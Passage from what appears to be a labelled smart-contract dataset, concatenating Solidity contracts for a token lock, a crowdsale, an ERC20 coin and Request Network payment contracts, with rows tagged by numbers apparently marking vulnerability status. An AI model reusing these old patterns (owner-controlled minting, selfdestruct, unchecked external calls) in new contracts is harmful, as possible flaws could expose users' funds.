{
require(lockedAllocations[beneficiary] == 0 && beneficiary != address(0));
allocatedTokens = allocatedTokens.add(allocationValue);
require(allocatedTokens <= totalLockTokenAllocation);
lockedAllocations[beneficiary] = allocationValue;
return true;
}
function unlock() external {
require(RR != address(0));
assert(now >= unlockedAt);
if (tokensCreated == 0) {
tokensCreated = RR.balanceOf(this);
}
uint256 transferAllocation = lockedAllocations[msg.sender];
lockedAllocations[msg.sender] = 0;
require(RR.transfer(msg.sender, transferAllocation));
}
function kill() public onlyOwner {
require(now >= canSelfDestruct);
uint256 balance = RR.balanceOf(this);
if (balance > 0) {
RR.transfer(msg.sender, balance);
}
selfdestruct(owner);
}
}
contract RealtyReturnsTokenCrowdsale is FinalizableCrowdsale, MintedCrowdsale, Pausable {
uint256 constant public TRESURY_SHARE = 240000000e18;
uint256 constant public TEAM_SHARE = 120000000e18;
uint256 constant public FOUNDERS_SHARE = 120000000e18;
uint256 constant public NETWORK_SHARE = 530000000e18;
uint256 constant public TOTAL_TOKENS_FOR_CROWDSALE = 190000000e18;
uint256 public crowdsaleSoftCap = 1321580e18;
address public treasuryWallet;
address public teamShare;
address public foundersShare;
address public networkGrowth;
address public remainderPurchaser;
uint256 public remainderAmount;
address public onePercentAddress;
event MintedTokensFor(address indexed investor, uint256 tokensPurchased);
event TokenRateChanged(uint256 previousRate, uint256 newRate);
constructor
(
uint256 _openingTime,
uint256 _closingTime,
RealtyReturnsToken _token,
uint256 _rate,
address _wallet,
address _treasuryWallet,
address _onePercentAddress
)
public
FinalizableCrowdsale()
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
require(_treasuryWallet != address(0));
treasuryWallet = _treasuryWallet;
onePercentAddress = _onePercentAddress;
require(RealtyReturnsToken(token).paused());
}
function setRate(uint256 newRate) external onlyOwner {
require(newRate != 0);
emit TokenRateChanged(rate, newRate);
rate = newRate;
}
function setSoftCap(uint256 newCap) external onlyOwner {
require(newCap != 0);
crowdsaleSoftCap = newCap;
}
function mintTokensFor(address beneficiaryAddress, uint256 amountOfTokens)
public
onlyOwner
{
require(beneficiaryAddress != address(0));
require(token.totalSupply().add(amountOfTokens) <= TOTAL_TOKENS_FOR_CROWDSALE);
_deliverTokens(beneficiaryAddress, amountOfTokens);
emit MintedTokensFor(beneficiaryAddress, amountOfTokens);
}
function setTokenDistributionAddresses
(
address _teamShare,
address _foundersShare,
address _networkGrowth
)
public
onlyOwner
{
require(teamShare == address(0x0) && foundersShare == address(0x0) && networkGrowth == address(0x0));
require(_teamShare != address(0x0) && _foundersShare != address(0x0) && _networkGrowth != address(0x0));
teamShare = _teamShare;
foundersShare = _foundersShare;
networkGrowth = _networkGrowth;
}
function hasClosed() public view returns (bool) {
if (token.totalSupply() > crowdsaleSoftCap) {
return true;
}
return super.hasClosed();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
whenNotPaused
{
require(_beneficiary != address(0));
require(_weiAmount >= 1 ether);
require(token.totalSupply() < TOTAL_TOKENS_FOR_CROWDSALE);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokensAmount = _weiAmount.mul(rate);
if (token.totalSupply().add(tokensAmount) > TOTAL_TOKENS_FOR_CROWDSALE) {
tokensAmount = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply());
uint256 _weiAmountLocalScope = tokensAmount.div(rate);
remainderPurchaser = msg.sender;
remainderAmount = _weiAmount.sub(_weiAmountLocalScope);
if (weiRaised > _weiAmount.add(_weiAmountLocalScope))
weiRaised = weiRaised.sub(_weiAmount.add(_weiAmountLocalScope));
}
return tokensAmount;
}
function _forwardFunds() internal {
uint256 onePercentValue = msg.value.div(100);
uint256 valueToTransfer = msg.value.sub(onePercentValue);
onePercentAddress.transfer(onePercentValue);
wallet.transfer(valueToTransfer);
}
function finalization() internal {
require(teamShare != address(0) && foundersShare != address(0) && networkGrowth != address(0));
if (TOTAL_TOKENS_FOR_CROWDSALE > token.totalSupply()) {
uint256 remainingTokens = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply());
_deliverTokens(wallet, remainingTokens);
}
_deliverTokens(treasuryWallet, TRESURY_SHARE);
_deliverTokens(teamShare, TEAM_SHARE);
_deliverTokens(foundersShare, FOUNDERS_SHARE);
_deliverTokens(networkGrowth, NETWORK_SHARE);
RealtyReturnsToken(token).finishMinting();
RealtyReturnsToken(token).unpause();
super.finalization();
}
} | 1 | 3,039 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract SVCoin is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SVCoin() public {
symbol = "SVC";
name = "SV Coin";
decimals = 18;
_totalSupply = 300000000000000000000000000;
balances[0x4FB0eFE88845e40Bc6BE0bF09AacbAAbA9CcCA0D] = _totalSupply;
Transfer(address(0), 0x4FB0eFE88845e40Bc6BE0bF09AacbAAbA9CcCA0D, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | 1 | 2,638 |
pragma solidity ^0.4.23;
library SafeMathUint96 {
function mul(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a / b;
return c;
}
function sub(uint96 a, uint96 b) internal pure returns (uint96) {
assert(b <= a);
return a - b;
}
function add(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMathUint8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a / b;
return c;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMathInt {
function mul(int256 a, int256 b) internal pure returns (int256) {
assert(!(a == - 2**255 && b == -1) && !(b == - 2**255 && a == -1));
int256 c = a * b;
assert((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
assert(!(a == - 2**255 && b == -1));
int256 c = a / b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
assert((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
assert(a>=0);
return uint256(a);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
assert(b >= 0);
return b;
}
}
library Bytes {
function extractAddress(bytes data, uint offset)
internal
pure
returns (address m)
{
require(offset >= 0 && offset + 20 <= data.length, "offset value should be in the correct range");
assembly {
m := and(
mload(add(data, add(20, offset))),
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
)
}
}
function extractBytes32(bytes data, uint offset)
internal
pure
returns (bytes32 bs)
{
require(offset >= 0 && offset + 32 <= data.length, "offset value should be in the correct range");
assembly {
bs := mload(add(data, add(32, offset)))
}
}
function updateBytes20inBytes(bytes data, uint offset, bytes20 b)
internal
pure
{
require(offset >= 0 && offset + 20 <= data.length, "offset value should be in the correct range");
assembly {
let m := mload(add(data, add(20, offset)))
m := and(m, 0xFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000)
m := or(m, div(b, 0x1000000000000000000000000))
mstore(add(data, add(20, offset)), m)
}
}
function extractString(bytes data, uint8 size, uint _offset)
internal
pure
returns (string)
{
bytes memory bytesString = new bytes(size);
for (uint j = 0; j < size; j++) {
bytesString[j] = data[_offset+j];
}
return string(bytesString);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract FeeCollector is Ownable {
using SafeMath for uint256;
uint256 public rateFeesNumerator;
uint256 public rateFeesDenominator;
uint256 public maxFees;
address public requestBurnerContract;
event UpdateRateFees(uint256 rateFeesNumerator, uint256 rateFeesDenominator);
event UpdateMaxFees(uint256 maxFees);
constructor(address _requestBurnerContract)
public
{
requestBurnerContract = _requestBurnerContract;
}
function setRateFees(uint256 _rateFeesNumerator, uint256 _rateFeesDenominator)
external
onlyOwner
{
rateFeesNumerator = _rateFeesNumerator;
rateFeesDenominator = _rateFeesDenominator;
emit UpdateRateFees(rateFeesNumerator, rateFeesDenominator);
}
function setMaxCollectable(uint256 _newMaxFees)
external
onlyOwner
{
maxFees = _newMaxFees;
emit UpdateMaxFees(maxFees);
}
function setRequestBurnerContract(address _requestBurnerContract)
external
onlyOwner
{
requestBurnerContract = _requestBurnerContract;
}
function collectEstimation(int256 _expectedAmount)
public
view
returns(uint256)
{
if (_expectedAmount<0) {
return 0;
}
uint256 computedCollect = uint256(_expectedAmount).mul(rateFeesNumerator);
if (rateFeesDenominator != 0) {
computedCollect = computedCollect.div(rateFeesDenominator);
}
return computedCollect < maxFees ? computedCollect : maxFees;
}
function collectForREQBurning(uint256 _amount)
internal
{
requestBurnerContract.transfer(_amount);
}
}
contract Administrable is Pausable {
mapping(address => uint8) public trustedCurrencyContracts;
event NewTrustedContract(address newContract);
event RemoveTrustedContract(address oldContract);
function adminAddTrustedCurrencyContract(address _newContractAddress)
external
onlyOwner
{
trustedCurrencyContracts[_newContractAddress] = 1;
emit NewTrustedContract(_newContractAddress);
}
function adminRemoveTrustedCurrencyContract(address _oldTrustedContractAddress)
external
onlyOwner
{
require(trustedCurrencyContracts[_oldTrustedContractAddress] != 0, "_oldTrustedContractAddress should not be 0");
trustedCurrencyContracts[_oldTrustedContractAddress] = 0;
emit RemoveTrustedContract(_oldTrustedContractAddress);
}
function getStatusContract(address _contractAddress)
external
view
returns(uint8)
{
return trustedCurrencyContracts[_contractAddress];
}
function isTrustedContract(address _contractAddress)
public
view
returns(bool)
{
return trustedCurrencyContracts[_contractAddress] == 1;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20OMGLike is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public;
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract RequestCore is Administrable {
using SafeMath for uint256;
using SafeMathUint96 for uint96;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
enum State { Created, Accepted, Canceled }
struct Request {
address payer;
address currencyContract;
State state;
Payee payee;
}
struct Payee {
address addr;
int256 expectedAmount;
int256 balance;
}
uint96 public numRequests;
mapping(bytes32 => Request) requests;
mapping(bytes32 => Payee[256]) public subPayees;
event Created(bytes32 indexed requestId, address indexed payee, address indexed payer, address creator, string data);
event Accepted(bytes32 indexed requestId);
event Canceled(bytes32 indexed requestId);
event NewSubPayee(bytes32 indexed requestId, address indexed payee);
event UpdateExpectedAmount(bytes32 indexed requestId, uint8 payeeIndex, int256 deltaAmount);
event UpdateBalance(bytes32 indexed requestId, uint8 payeeIndex, int256 deltaAmount);
function createRequest(
address _creator,
address[] _payees,
int256[] _expectedAmounts,
address _payer,
string _data)
external
whenNotPaused
returns (bytes32 requestId)
{
require(_creator != 0, "creator should not be 0");
require(isTrustedContract(msg.sender), "caller should be a trusted contract");
requestId = generateRequestId();
address mainPayee;
int256 mainExpectedAmount;
if (_payees.length!=0) {
mainPayee = _payees[0];
mainExpectedAmount = _expectedAmounts[0];
}
requests[requestId] = Request(
_payer,
msg.sender,
State.Created,
Payee(
mainPayee,
mainExpectedAmount,
0
)
);
emit Created(
requestId,
mainPayee,
_payer,
_creator,
_data
);
initSubPayees(requestId, _payees, _expectedAmounts);
return requestId;
}
function createRequestFromBytes(bytes _data)
external
whenNotPaused
returns (bytes32 requestId)
{
require(isTrustedContract(msg.sender), "caller should be a trusted contract");
address creator = extractAddress(_data, 0);
address payer = extractAddress(_data, 20);
require(creator!=0, "creator should not be 0");
uint8 payeesCount = uint8(_data[40]);
uint256 offsetDataSize = uint256(payeesCount).mul(52).add(41);
uint8 dataSize = uint8(_data[offsetDataSize]);
string memory dataStr = extractString(_data, dataSize, offsetDataSize.add(1));
address mainPayee;
int256 mainExpectedAmount;
if (payeesCount!=0) {
mainPayee = extractAddress(_data, 41);
mainExpectedAmount = int256(extractBytes32(_data, 61));
}
requestId = generateRequestId();
requests[requestId] = Request(
payer,
msg.sender,
State.Created,
Payee(
mainPayee,
mainExpectedAmount,
0
)
);
emit Created(
requestId,
mainPayee,
payer,
creator,
dataStr
);
for (uint8 i = 1; i < payeesCount; i = i.add(1)) {
address subPayeeAddress = extractAddress(_data, uint256(i).mul(52).add(41));
require(subPayeeAddress != 0, "subpayee should not be 0");
subPayees[requestId][i-1] = Payee(subPayeeAddress, int256(extractBytes32(_data, uint256(i).mul(52).add(61))), 0);
emit NewSubPayee(requestId, subPayeeAddress);
}
return requestId;
}
function accept(bytes32 _requestId)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
r.state = State.Accepted;
emit Accepted(_requestId);
}
function cancel(bytes32 _requestId)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
r.state = State.Canceled;
emit Canceled(_requestId);
}
function updateBalance(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
if ( _payeeIndex == 0 ) {
r.payee.balance = r.payee.balance.add(_deltaAmount);
} else {
Payee storage sp = subPayees[_requestId][_payeeIndex-1];
sp.balance = sp.balance.add(_deltaAmount);
}
emit UpdateBalance(_requestId, _payeeIndex, _deltaAmount);
}
function updateExpectedAmount(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
if ( _payeeIndex == 0 ) {
r.payee.expectedAmount = r.payee.expectedAmount.add(_deltaAmount);
} else {
Payee storage sp = subPayees[_requestId][_payeeIndex-1];
sp.expectedAmount = sp.expectedAmount.add(_deltaAmount);
}
emit UpdateExpectedAmount(_requestId, _payeeIndex, _deltaAmount);
}
function getRequest(bytes32 _requestId)
external
view
returns(address payer, address currencyContract, State state, address payeeAddr, int256 payeeExpectedAmount, int256 payeeBalance)
{
Request storage r = requests[_requestId];
return (
r.payer,
r.currencyContract,
r.state,
r.payee.addr,
r.payee.expectedAmount,
r.payee.balance
);
}
function getPayeeAddress(bytes32 _requestId, uint8 _payeeIndex)
public
view
returns(address)
{
if (_payeeIndex == 0) {
return requests[_requestId].payee.addr;
} else {
return subPayees[_requestId][_payeeIndex-1].addr;
}
}
function getPayer(bytes32 _requestId)
public
view
returns(address)
{
return requests[_requestId].payer;
}
function getPayeeExpectedAmount(bytes32 _requestId, uint8 _payeeIndex)
public
view
returns(int256)
{
if (_payeeIndex == 0) {
return requests[_requestId].payee.expectedAmount;
} else {
return subPayees[_requestId][_payeeIndex-1].expectedAmount;
}
}
function getSubPayeesCount(bytes32 _requestId)
public
view
returns(uint8)
{
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {}
return i;
}
function getCurrencyContract(bytes32 _requestId)
public
view
returns(address)
{
return requests[_requestId].currencyContract;
}
function getPayeeBalance(bytes32 _requestId, uint8 _payeeIndex)
public
view
returns(int256)
{
if (_payeeIndex == 0) {
return requests[_requestId].payee.balance;
} else {
return subPayees[_requestId][_payeeIndex-1].balance;
}
}
function getBalance(bytes32 _requestId)
public
view
returns(int256)
{
int256 balance = requests[_requestId].payee.balance;
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
balance = balance.add(subPayees[_requestId][i].balance);
}
return balance;
}
function areAllBalanceNull(bytes32 _requestId)
public
view
returns(bool isNull)
{
isNull = requests[_requestId].payee.balance == 0;
for (uint8 i = 0; isNull && subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
isNull = subPayees[_requestId][i].balance == 0;
}
return isNull;
}
function getExpectedAmount(bytes32 _requestId)
public
view
returns(int256)
{
int256 expectedAmount = requests[_requestId].payee.expectedAmount;
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
expectedAmount = expectedAmount.add(subPayees[_requestId][i].expectedAmount);
}
return expectedAmount;
}
function getState(bytes32 _requestId)
public
view
returns(State)
{
return requests[_requestId].state;
}
function getPayeeIndex(bytes32 _requestId, address _address)
public
view
returns(int16)
{
if (requests[_requestId].payee.addr == _address) {
return 0;
}
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
if (subPayees[_requestId][i].addr == _address) {
return i+1;
}
}
return -1;
}
function extractBytes32(bytes _data, uint offset)
public
pure
returns (bytes32 bs)
{
require(offset >= 0 && offset + 32 <= _data.length, "offset value should be in the correct range");
assembly {
bs := mload(add(_data, add(32, offset)))
}
}
function emergencyERC20Drain(ERC20 token, uint amount )
public
onlyOwner
{
token.transfer(owner, amount);
}
function extractAddress(bytes _data, uint offset)
internal
pure
returns (address m)
{
require(offset >= 0 && offset + 20 <= _data.length, "offset value should be in the correct range");
assembly {
m := and( mload(add(_data, add(20, offset))),
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
}
}
function initSubPayees(bytes32 _requestId, address[] _payees, int256[] _expectedAmounts)
internal
{
require(_payees.length == _expectedAmounts.length, "payee length should equal expected amount length");
for (uint8 i = 1; i < _payees.length; i = i.add(1)) {
require(_payees[i] != 0, "payee should not be 0");
subPayees[_requestId][i-1] = Payee(_payees[i], _expectedAmounts[i], 0);
emit NewSubPayee(_requestId, _payees[i]);
}
}
function extractString(bytes data, uint8 size, uint _offset)
internal
pure
returns (string)
{
bytes memory bytesString = new bytes(size);
for (uint j = 0; j < size; j++) {
bytesString[j] = data[_offset+j];
}
return string(bytesString);
}
function generateRequestId()
internal
returns (bytes32)
{
numRequests = numRequests.add(1);
return bytes32((uint256(this) << 96).add(numRequests));
}
}
contract CurrencyContract is Pausable, FeeCollector {
using SafeMath for uint256;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
RequestCore public requestCore;
constructor(address _requestCoreAddress, address _addressBurner)
FeeCollector(_addressBurner)
public
{
requestCore = RequestCore(_requestCoreAddress);
}
function acceptAction(bytes32 _requestId)
public
whenNotPaused
onlyRequestPayer(_requestId)
{
require(requestCore.getState(_requestId) == RequestCore.State.Created, "request should be created");
requestCore.accept(_requestId);
}
function cancelAction(bytes32 _requestId)
public
whenNotPaused
{
require(
(requestCore.getPayer(_requestId) == msg.sender && requestCore.getState(_requestId) == RequestCore.State.Created) ||
(requestCore.getPayeeAddress(_requestId,0) == msg.sender && requestCore.getState(_requestId) != RequestCore.State.Canceled),
"payer should cancel a newly created request, or payee should cancel a not cancel request"
);
require(requestCore.areAllBalanceNull(_requestId), "all balanaces should be = 0 to cancel");
requestCore.cancel(_requestId);
}
function additionalAction(bytes32 _requestId, uint256[] _additionalAmounts)
public
whenNotPaused
onlyRequestPayer(_requestId)
{
require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled");
require(
_additionalAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1),
"number of amounts should be <= number of payees"
);
for (uint8 i = 0; i < _additionalAmounts.length; i = i.add(1)) {
if (_additionalAmounts[i] != 0) {
requestCore.updateExpectedAmount(_requestId, i, _additionalAmounts[i].toInt256Safe());
}
}
}
function subtractAction(bytes32 _requestId, uint256[] _subtractAmounts)
public
whenNotPaused
onlyRequestPayee(_requestId)
{
require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled");
require(
_subtractAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1),
"number of amounts should be <= number of payees"
);
for (uint8 i = 0; i < _subtractAmounts.length; i = i.add(1)) {
if (_subtractAmounts[i] != 0) {
require(
requestCore.getPayeeExpectedAmount(_requestId,i) >= _subtractAmounts[i].toInt256Safe(),
"subtract should equal or be lower than amount expected"
);
requestCore.updateExpectedAmount(_requestId, i, -_subtractAmounts[i].toInt256Safe());
}
}
}
function createCoreRequestInternal(
address _payer,
address[] _payeesIdAddress,
int256[] _expectedAmounts,
string _data)
internal
whenNotPaused
returns(bytes32 requestId, uint256 collectedFees)
{
int256 totalExpectedAmounts = 0;
for (uint8 i = 0; i < _expectedAmounts.length; i = i.add(1)) {
require(_expectedAmounts[i] >= 0, "expected amounts should be positive");
totalExpectedAmounts = totalExpectedAmounts.add(_expectedAmounts[i]);
}
requestId = requestCore.createRequest(
msg.sender,
_payeesIdAddress,
_expectedAmounts,
_payer,
_data
);
collectedFees = collectEstimation(totalExpectedAmounts);
collectForREQBurning(collectedFees);
}
modifier onlyRequestPayee(bytes32 _requestId)
{
require(requestCore.getPayeeAddress(_requestId, 0) == msg.sender, "only the payee should do this action");
_;
}
modifier onlyRequestPayer(bytes32 _requestId)
{
require(requestCore.getPayer(_requestId) == msg.sender, "only the payer should do this action");
_;
}
}
library Signature {
using SafeMath for uint256;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
function checkRequestSignature(
bytes requestData,
address[] payeesPaymentAddress,
uint256 expirationDate,
bytes signature)
internal
view
returns (bool)
{
bytes32 hash = getRequestHash(requestData, payeesPaymentAddress, expirationDate);
uint8 v = uint8(signature[64]);
v = v < 27 ? v.add(27) : v;
bytes32 r = Bytes.extractBytes32(signature, 0);
bytes32 s = Bytes.extractBytes32(signature, 32);
return isValidSignature(
Bytes.extractAddress(requestData, 0),
hash,
v,
r,
s
);
}
function checkBtcRequestSignature(
bytes requestData,
bytes payeesPaymentAddress,
uint256 expirationDate,
bytes signature)
internal
view
returns (bool)
{
bytes32 hash = getBtcRequestHash(requestData, payeesPaymentAddress, expirationDate);
uint8 v = uint8(signature[64]);
v = v < 27 ? v.add(27) : v;
bytes32 r = Bytes.extractBytes32(signature, 0);
bytes32 s = Bytes.extractBytes32(signature, 32);
return isValidSignature(
Bytes.extractAddress(requestData, 0),
hash,
v,
r,
s
);
}
function getBtcRequestHash(
bytes requestData,
bytes payeesPaymentAddress,
uint256 expirationDate)
private
view
returns(bytes32)
{
return keccak256(
abi.encodePacked(
this,
requestData,
payeesPaymentAddress,
expirationDate
)
);
}
function getRequestHash(
bytes requestData,
address[] payeesPaymentAddress,
uint256 expirationDate)
private
view
returns(bytes32)
{
return keccak256(
abi.encodePacked(
this,
requestData,
payeesPaymentAddress,
expirationDate
)
);
}
function isValidSignature(
address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s)
private
pure
returns (bool)
{
return signer == ecrecover(
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),
v,
r,
s
);
}
}
contract RequestOMG is CurrencyContract {
using SafeMath for uint256;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
mapping(bytes32 => address[256]) public payeesPaymentAddress;
mapping(bytes32 => address) public payerRefundAddress;
ERC20OMGLike public erc20Token;
constructor (address _requestCoreAddress, address _requestBurnerAddress, ERC20OMGLike _erc20Token)
CurrencyContract(_requestCoreAddress, _requestBurnerAddress)
public
{
erc20Token = _erc20Token;
}
function createRequestAsPayeeAction(
address[] _payeesIdAddress,
address[] _payeesPaymentAddress,
int256[] _expectedAmounts,
address _payer,
address _payerRefundAddress,
string _data)
external
payable
whenNotPaused
returns(bytes32 requestId)
{
require(
msg.sender == _payeesIdAddress[0] && msg.sender != _payer && _payer != 0,
"caller should be the payee"
);
uint256 collectedFees;
(requestId, collectedFees) = createCoreRequestInternal(
_payer,
_payeesIdAddress,
_expectedAmounts,
_data
);
require(collectedFees == msg.value, "fees should be the correct amout");
for (uint8 j = 0; j < _payeesPaymentAddress.length; j = j.add(1)) {
payeesPaymentAddress[requestId][j] = _payeesPaymentAddress[j];
}
if (_payerRefundAddress != 0) {
payerRefundAddress[requestId] = _payerRefundAddress;
}
return requestId;
}
function broadcastSignedRequestAsPayerAction(
bytes _requestData,
address[] _payeesPaymentAddress,
uint256[] _payeeAmounts,
uint256[] _additionals,
uint256 _expirationDate,
bytes _signature)
external
payable
whenNotPaused
returns(bytes32 requestId)
{
require(_expirationDate >= block.timestamp, "expiration should be after current time");
require(
Signature.checkRequestSignature(
_requestData,
_payeesPaymentAddress,
_expirationDate,
_signature
),
"signature should be correct"
);
return createAcceptAndPayFromBytes(
_requestData,
_payeesPaymentAddress,
_payeeAmounts,
_additionals
);
}
function paymentAction(
bytes32 _requestId,
uint256[] _payeeAmounts,
uint256[] _additionalAmounts)
external
whenNotPaused
{
if (requestCore.getState(_requestId)==RequestCore.State.Created && msg.sender == requestCore.getPayer(_requestId)) {
acceptAction(_requestId);
}
if (_additionalAmounts.length != 0) {
additionalAction(_requestId, _additionalAmounts);
}
paymentInternal(_requestId, _payeeAmounts);
}
function refundAction(bytes32 _requestId, uint256 _amountToRefund)
external
whenNotPaused
{
refundInternal(_requestId, msg.sender, _amountToRefund);
}
function createRequestAsPayerAction(
address[] _payeesIdAddress,
int256[] _expectedAmounts,
address _payerRefundAddress,
uint256[] _payeeAmounts,
uint256[] _additionals,
string _data)
public
payable
whenNotPaused
returns(bytes32 requestId)
{
require(msg.sender != _payeesIdAddress[0] && _payeesIdAddress[0] != 0, "caller should not be the main payee");
uint256 collectedFees;
(requestId, collectedFees) = createCoreRequestInternal(
msg.sender,
_payeesIdAddress,
_expectedAmounts,
_data
);
require(collectedFees == msg.value, "fees should be the correct amout");
if (_payerRefundAddress != 0) {
payerRefundAddress[requestId] = _payerRefundAddress;
}
int256 totalExpectedAmounts = 0;
for (uint8 i = 0; i < _expectedAmounts.length; i = i.add(1)) {
totalExpectedAmounts = totalExpectedAmounts.add(_expectedAmounts[i]);
}
acceptAndPay(
requestId,
_payeeAmounts,
_additionals,
totalExpectedAmounts
);
return requestId;
}
function createAcceptAndPayFromBytes(
bytes _requestData,
address[] _payeesPaymentAddress,
uint256[] _payeeAmounts,
uint256[] _additionals)
internal
returns(bytes32 requestId)
{
address mainPayee = Bytes.extractAddress(_requestData, 41);
require(msg.sender != mainPayee && mainPayee != 0, "caller should not be the main payee");
require(Bytes.extractAddress(_requestData, 0) == mainPayee, "creator should be the main payee");
uint8 payeesCount = uint8(_requestData[40]);
int256 totalExpectedAmounts = 0;
for (uint8 i = 0; i < payeesCount; i++) {
